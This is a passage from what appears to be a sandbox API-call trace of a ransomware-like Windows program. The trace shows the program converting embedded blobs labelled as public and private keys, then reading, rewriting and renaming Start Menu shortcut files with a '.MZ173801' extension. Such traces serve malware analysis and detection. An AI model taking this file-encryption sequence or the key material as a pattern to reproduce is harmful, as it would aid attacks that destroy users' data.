w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0211.696] GetCurrentThreadId () returned 0xab4 [0211.696] GetCurrentThreadId () returned 0xab4 [0211.696] GetCurrentThreadId () returned 0xab4 [0211.696] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0211.696] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24b109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0211.697] GetCurrentThreadId () returned 0xab4 [0211.697] GetCurrentThreadId () returned 0xab4 [0211.697] GetCurrentThreadId () returned 0xab4 [0211.697] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Publisher 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\publisher 2016.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0211.697] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0211.697] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0211.697] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x967 [0211.697] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0211.697] ReadFile (in: hFile=0x328, lpBuffer=0x24b8ea0, nNumberOfBytesToRead=0x967, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24b8ea0*, lpNumberOfBytesRead=0x19f74c*=0x967, lpOverlapped=0x0) returned 1 [0211.700] CloseHandle (hObject=0x328) returned 1 [0211.700] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Publisher 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\publisher 2016.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0211.703] WriteFile (in: hFile=0x328, lpBuffer=0x24baed0*, nNumberOfBytesToWrite=0x967, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24baed0*, lpNumberOfBytesWritten=0x19f758*=0x967, lpOverlapped=0x0) returned 1 [0211.705] CloseHandle (hObject=0x328) returned 1 [0211.705] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Publisher 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\publisher 2016.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Publisher 2016.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\publisher 2016.lnk.mz173801")) returned 1 [0211.706] GetCurrentThreadId () returned 0xab4 [0211.706] GetCurrentThreadId () returned 0xab4 [0211.706] GetCurrentThreadId () returned 0xab4 [0211.706] GetCurrentThreadId () returned 0xab4 [0211.706] GetCurrentThreadId () returned 0xab4 [0211.706] GetCurrentThreadId () returned 0xab4 [0211.706] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d935fc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d935fc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4d935fc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Skype for Business 2016.lnk", cAlternateFileName="SKYPEF~1.LNK")) returned 1 [0211.706] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0211.706] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0211.706] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Skype for Business 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\skype for business 2016.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d935fc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d935fc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4d935fc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x99e)) returned 1 [0211.706] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Skype for Business 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\skype for business 2016.lnk")) returned 0x20 [0211.706] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Skype for Business 2016.lnk", dwFileAttributes=0x80) returned 1 [0211.708] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0211.708] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24a003c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0211.709] GetCurrentThreadId () returned 0xab4 [0211.710] GetCurrentThreadId () returned 0xab4 [0211.710] GetCurrentThreadId () returned 0xab4 [0211.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0211.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24b109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 